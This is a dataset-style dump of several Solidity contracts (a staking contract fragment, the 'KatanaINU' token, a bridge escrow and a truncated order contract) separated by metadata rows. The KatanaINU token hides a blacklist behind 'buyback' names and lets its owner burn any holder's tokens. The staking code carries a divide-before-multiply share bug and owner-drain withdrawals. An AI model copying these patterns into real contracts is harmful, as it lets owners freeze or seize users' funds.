}
function getShareOf(address user, uint256 cycle) public view returns (uint256) {
return amountStaked[user][cycle].div(totalStaked[cycle]).mul(10000);
}
function getShareOfCurrent(address user) public view returns (uint256) {
return getShareOf(user, currentCycle());
}
function getTotalStakedCurrent() public view returns (uint256) {
return totalStaked[currentCycle()];
}
function getInvestmentUri(uint256 id) public view returns (string memory) {
return string(abi.encodePacked(baseUri, id));
}
// PUBLIC FUNCTIONS
function stake(uint256 amount, bool isAdding) external {
uint256 amountAfterFees;
uint256 feesAmount = amount.mul(stakeFee).div(10000);
if (stakers[msg.sender].amount == 0 || isAdding) {
amountAfterFees = amountStaked[msg.sender][currentCycle()].add(amount.sub(feesAmount));
require(amountAfterFees.add(stakers[msg.sender].amount) >= minStake * 10**18, "STAKE: Below min amount");
uint256 debug1 = stakers[msg.sender].amount;
uint256 debug2 = maxStake * 1**18;
require(amountAfterFees.add(stakers[msg.sender].amount) <= maxStake * 10**18, "STAKE: Above max amount");
PLAYMATES.transferFrom(msg.sender, address(this), amount);
// FEE TRANSFERS
PLAYMATES.transfer(POOL, feesAmount.mul(stakeDistribution[0]).div(10000));
PLAYMATES.transfer(address(PLAYMATES), feesAmount.mul(stakeDistribution[1]).div(10000));
} else {
require(amountStaked[msg.sender][currentCycle()] == 0, "STAKE: You already merged");
// amountAfterFees = amountStaked[msg.sender][currentCycle()];
amountAfterFees = stakers[msg.sender].amount;
}
stakers[msg.sender] = Stake({
stakeCycle: stakers[msg.sender].stakeCycle == 0 ? currentCycle() : stakers[msg.sender].stakeCycle,
lastClaimCycle: stakers[msg.sender].lastClaimCycle == 0 ? currentCycle() : stakers[msg.sender].lastClaimCycle,
unstakeCycle: 0,
amount: amountAfterFees,
totalRewards: stakers[msg.sender].totalRewards
});
amountStaked[msg.sender][currentCycle()] = amountAfterFees;
totalStaked[currentCycle()] += amountAfterFees;
emit Staked(msg.sender, amountAfterFees);
}
function claimAll() public {
uint256 sum = getAllRewardsOf(msg.sender);
stakers[msg.sender].lastClaimCycle = currentCycle();
stakers[msg.sender].totalRewards += sum;
PAYMENT_TOKEN.transfer(msg.sender, sum);
emit Claimed(msg.sender, sum);
}
function claim(uint256 cycle) public {
uint256 sum = getRewardsOf(msg.sender, cycle);
stakers[msg.sender].lastClaimCycle = currentCycle();
stakers[msg.sender].totalRewards += sum;
PAYMENT_TOKEN.transfer(msg.sender, sum);
emit Claimed(msg.sender, sum);
}
function unstake() external {
require(stakers[msg.sender].amount > 0, "UNSTAKE: You have nothing to unstake.");
if (currentCycle() > stakers[msg.sender].lastClaimCycle) {
claimAll();
}
uint256 feesRatio = unstakeFees[currentCycle() - stakers[msg.sender].stakeCycle > unstakeFeesLength ? unstakeFeesLength - 1 : currentCycle() - stakers[msg.sender].stakeCycle - 1];
uint256 feesAmount = stakers[msg.sender].amount.mul(feesRatio).div(10000);
uint256 amountAfterFees = stakers[msg.sender].amount.sub(feesAmount);
stakers[msg.sender].amount = 0;
stakers[msg.sender].unstakeCycle = currentCycle();
amountStaked[msg.sender][currentCycle()] = 0;
// FEE TRANSFERS
PLAYMATES.transfer(POOL, feesAmount.mul(unstakeDistribution[0]).div(10000));
PLAYMATES.transfer(address(PLAYMATES), feesAmount.mul(unstakeDistribution[1]).div(10000));
PLAYMATES.transfer(TREASURY, feesAmount.mul(unstakeDistribution[2]).div(10000));
PLAYMATES.transfer(MARKETING, feesAmount.mul(unstakeDistribution[3]).div(10000));
PLAYMATES.transfer(msg.sender, amountAfterFees);
emit Unstaked(msg.sender, amountAfterFees);
}
// ONLY OWNER FUNCTIONS
function addPayout(uint256 cycle, uint256 amount) external onlyOwner {
payouts[cycle] = amount;
}
function setBaseUri(string memory _baseUri) external onlyOwner {
baseUri = _baseUri;
}
function setPlaymates(address _PLAYMATES) external onlyOwner {
PLAYMATES = IERC20(_PLAYMATES);
}
function setPaymentToken(address _PAYMENT_TOKEN) external onlyOwner {
PAYMENT_TOKEN = IERC20(_PAYMENT_TOKEN);
}
function setPool(address _POOL) external onlyOwner {
POOL = _POOL;
}
function setTreasury(address _TREASURY) external onlyOwner {
TREASURY = _TREASURY;
}
function setMarketing(address _MARKETING) external onlyOwner {
MARKETING = _MARKETING;
}
function setStakeDistribution(uint256[] memory _stakeDistribution) external onlyOwner {
stakeDistribution = _stakeDistribution;
}
function setUnstakeDistribution(uint256[] memory _unstakeDistribution) external onlyOwner {
unstakeDistribution = _unstakeDistribution;
}
function setCycleDuration(uint256 _cycleDuration) external onlyOwner {
cycleDuration = _cycleDuration;
}
function setStakeFee(uint256 _stakeFee) external onlyOwner {
stakeFee = _stakeFee;
}
function setUnstakeFees(uint256[] memory _unstakeFees, uint256 _unstakeFeesLength) external onlyOwner {
unstakeFees = _unstakeFees;
unstakeFeesLength = _unstakeFeesLength;
}
function setMinStakeAndMaxStake(uint256 _minStake, uint256 _maxStake) external onlyOwner {
minStake = _minStake;
maxStake = _maxStake;
}
function withdrawPlaymates() external onlyOwner {
PLAYMATES.transfer(msg.sender, PLAYMATES.balanceOf(address(this)));
}
function withdrawPayment() external onlyOwner {
PAYMENT_TOKEN.transfer(msg.sender, PAYMENT_TOKEN.balanceOf(address(this)));
}
}
| 88,085 | 13,489 |
5b651abecac2eb7f859d8d7d161a04e060b36d1940a45ba199e50b9c7c8cf69b
| 17,311 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/df/dfc3b7fadf67580a9bebaecfd837c3986df55e0d_KatanaINU.sol
| 3,941 | 15,654 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract KatanaINU is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBuyback(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function buybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unbuybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 94,078 | 13,490 |
066b369603e7aa3a0619eb1ab0ae5c0a371be7374f9fcf691f1798189120bb5e
| 23,852 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/f8/F81C83e2C1Fd3e5Be7587c086C793abf4944492A_TribeoneBridgeEscrow.sol
| 3,796 | 15,738 |
pragma solidity ^0.5.16;
// https://docs.tribeone.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.tribeone.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getTribe(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.tribeone.io/contracts/source/interfaces/itribe
interface ITribe {
// Views
function currencyKey() external view returns (bytes32);
function transferableTribes(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(address from,
address to,
uint value) external returns (bool);
// Restricted: used internally to Tribeone
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.tribeone.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function allNetworksDebtInfo()
external
view
returns (uint256 debt,
uint256 sharesSupply,
bool isStale);
function anyTribeOrHAKARateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableTribeCount() external view returns (uint);
function availableTribes(uint index) external view returns (ITribe);
function canBurnTribes(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableTribes(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableTribes(address issuer)
external
view
returns (uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt);
function tribes(bytes32 currencyKey) external view returns (ITribe);
function getTribes(bytes32[] calldata currencyKeys) external view returns (ITribe[] memory);
function tribesByAddress(address tribeAddress) external view returns (bytes32);
function totalIssuedTribes(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint);
function transferableTribeoneAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
function liquidationAmounts(address account, bool isSelfLiquidation)
external
view
returns (uint totalRedeemed,
uint debtToRemove,
uint escrowToLiquidate,
uint initialDebtBalance);
// Restricted: used internally to Tribeone
function addTribes(ITribe[] calldata tribesToAdd) external;
function issueTribes(address from, uint amount) external;
function issueTribesOnBehalf(address issueFor,
address from,
uint amount) external;
function issueMaxTribes(address from) external;
function issueMaxTribesOnBehalf(address issueFor, address from) external;
function burnTribes(address from, uint amount) external;
function burnTribesOnBehalf(address burnForAddress,
address from,
uint amount) external;
function burnTribesToTarget(address from) external;
function burnTribesToTargetOnBehalf(address burnForAddress, address from) external;
function burnForRedemption(address deprecatedTribeProxy,
address account,
uint balance) external;
function setCurrentPeriodId(uint128 periodId) external;
function liquidateAccount(address account, bool isSelfLiquidation)
external
returns (uint totalRedeemed,
uint debtRemoved,
uint escrowToLiquidate);
function issueTribesWithoutDebt(bytes32 currencyKey,
address to,
uint amount) external returns (bool rateInvalid);
function burnTribesWithoutDebt(bytes32 currencyKey,
address to,
uint amount) external returns (bool rateInvalid);
function modifyDebtSharesForMigration(address account, uint amount) external;
}
// Inheritance
// Internal references
// https://docs.tribeone.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getTribe(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.tribes(key));
}
event AddressImported(bytes32 name, address destination);
}
// Internal references
// https://docs.tribeone.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
event CacheUpdated(bytes32 name, address destination);
}
interface ITribeoneBridgeEscrow {
function approveBridge(address _token,
address _bridge,
uint256 _amount) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Inheritance
// Internal references.
contract TribeoneBridgeEscrow is Owned, ITribeoneBridgeEscrow {
using SafeERC20 for IERC20;
constructor(address _owner) public Owned(_owner) {}
function approveBridge(address _token,
address _bridge,
uint256 _amount) external onlyOwner {
IERC20(_token).safeApprove(_bridge, _amount);
emit BridgeApproval(_token, _bridge, _amount);
}
event BridgeApproval(address _token, address indexed spender, uint value);
}
| 54,477 | 13,491 |
ff3e5e585b923b80dd6604734f10df85c292faf4efa42b025933ff35ddcde037
| 17,934 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x2268003d92ff03be6ca6da029f8d8127fd2f617e.sol
| 5,613 | 17,571 |
pragma solidity ^0.4.18;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to,uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from,address _to,uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender,uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner,address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from,address indexed _to,uint256 _value);
event Approval(address indexed _owner,address indexed _spender,uint256 _value);
uint decimals;
string name;
}
contract SafeMath {
function safeMul(uint a,uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a,uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function safeSub(uint a,uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a,uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract ShortOrder is SafeMath {
address admin;
struct Order {
uint coupon;
uint balance;
bool tokenDeposit;
mapping (address => uint) shortBalance;
mapping (address => uint) longBalance;
}
mapping (address => mapping (bytes32 => Order)) orderRecord;
event TokenFulfillment(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs,uint amount);
event CouponDeposit(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs,uint value);
event LongPlace(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs,uint value);
